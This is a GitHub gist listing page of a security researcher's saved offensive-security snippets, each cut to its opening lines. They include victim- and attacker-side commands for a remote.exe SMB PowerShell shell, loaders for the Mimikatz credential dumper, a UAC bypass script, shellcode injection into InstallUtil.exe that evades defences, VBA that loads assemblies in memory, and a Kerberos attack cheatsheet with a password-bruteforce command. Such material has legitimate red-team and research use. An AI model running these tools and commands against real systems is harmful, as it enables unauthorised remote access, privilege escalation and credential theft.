clavoillotte / win_remote.txt

Last active October 29, 2017 22:40 — forked from mattifestation/gist:8ef36782ceb7f73d74cfb00c2a710301

remote.exe - a useful, MS signed SMB shell

	# Command to run on the victim
	# This will establish a PowerShell listener over the "pwnme" named pipe
	remote /S "powershell.exe" pwnme

	# Commands to run on an attacker system - if remote.exe is desired on the client (versus developing your own SMB pipe client)
	runas /netonly /user:[Domain\|Hostname\Username] "cmd"
	remote /C [Hostname\IP] "pwnme"

clavoillotte / katz.cs

Created August 6, 2018 14:10

Updated Katz.cs - Latest Mimikatz, I mean honestly it is 2018...

This file has been truncated, but you can view the full file.

	using System;
	using System.IO;
	using System.Text;
	using System.IO.Compression;
	using System.EnterpriseServices;
	using System.Collections.Generic;
	using System.Runtime.InteropServices;
	using System.Security.Cryptography;

	/*

clavoillotte / kill_file_locker.ps1

Created March 10, 2019 18:12 — forked from tyranid/kill_file_locker.ps1

	Import-Module NtObjectManager

	<#
	Function to kill all processes which are using a locked file.
	#>
	function Kill-FileLocker {
	param(
	[Parameter(Mandatory)]
	[string]$Path
	)

clavoillotte / bypass_uac.ps1

Created March 10, 2019 18:12 — forked from tyranid/bypass_uac.ps1

	# Powershell script to bypass UAC on Vista+ assuming
	# there exists one elevated process on the same desktop.
	# Technical details in:
	# https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-1.html
	# https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-2.html
	# https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-3.html
	# You need to Install-Module NtObjectManager for this to run.

	Import-Module NtObjectManager

clavoillotte / gethelp.cs

Created May 15, 2019 21:16

	using System;
	using System.Net;
	using System.Diagnostics;
	using System.Reflection;
	using System.Configuration.Install;
	using System.Runtime.InteropServices;

	/*
	Author: Casey Smith, Twitter: @subTee
	License: BSD 3-Clause

clavoillotte / PSProcmon.psm1

Created May 15, 2019 21:17 — forked from mattifestation/PSProcmon.psm1

	# These keyword values can be obtained with: logman query providers Microsoft-Windows-Kernel-Registry
	[Flags()]
	enum RegistryOptions {
	CloseKey = 0x00000001
	QuerySecurityKey = 0x00000002
	SetSecurityKey = 0x00000004
	EnumerateValueKey = 0x00000010
	QueryMultipleValueKey = 0x00000020
	SetInformationKey = 0x00000040
	FlushKey = 0x00000080

clavoillotte / rwxHunter.cs

Created July 3, 2019 14:56 — forked from nicholasmckinney/rwxHunter.cs

Locate a RWX Region in memory in InstallUtil.exe - Copy Shellcode Into It and Execute. Avoid VirtuallAlloc Call

	using System;
	using System.Net;
	using System.Diagnostics;
	using System.Reflection;
	using System.Configuration.Install;
	using System.Runtime.InteropServices;

	/*
	Author: Casey Smith, Twitter: @subTee
	License: BSD 3-Clause

clavoillotte / Tasks.cs

Created August 3, 2019 08:53

Almost :) - BulletProof Mimikatz - Load and execute Mimikatz in stordiag.exe.

	using System;
	using System.IO;
	using System.Text;
	using System.IO.Compression;
	using System.EnterpriseServices;
	using System.Collections.Generic;
	using System.Runtime.InteropServices;
	using System.Security.Cryptography;

	/*

clavoillotte / kerberos_attacks_cheatsheet.md

Created September 9, 2019 18:05 — forked from TarlogicSecurity/kerberos_attacks_cheatsheet.md

A cheatsheet with commands that can be used to perform kerberos attacks

Kerberos cheatsheet

Bruteforcing

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

clavoillotte / mscorlib_load_assembly.vba

Created September 30, 2019 20:20 — forked from monoxgas/mscorlib_load_assembly.vba

VBA code for calling Assembly.Load using raw vtable lookups for the IUnknown

	' Need to add project references to C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscoree.tlb and mscorlib.tlb

	Private Declare PtrSafe Function DispCallFunc Lib "oleaut32.dll" (ByVal pv As LongPtr, ByVal ov As LongPtr, ByVal cc As Integer, ByVal vr As Integer, ByVal ca As Long, ByRef pr As Integer, ByRef pg As LongPtr, ByRef par As Variant) As Long
	Private Declare PtrSafe Sub RtlMoveMemory Lib "kernel32" (Dst As Any, Src As Any, ByVal BLen As LongPtr)
	Private Declare PtrSafe Function VarPtrArray Lib "VBE7" Alias "VarPtr" (ByRef Var() As Any) As LongPtr

	#If Win64 Then
	Const LS As LongPtr = 8&
	#Else
	Const LS As LongPtr = 4&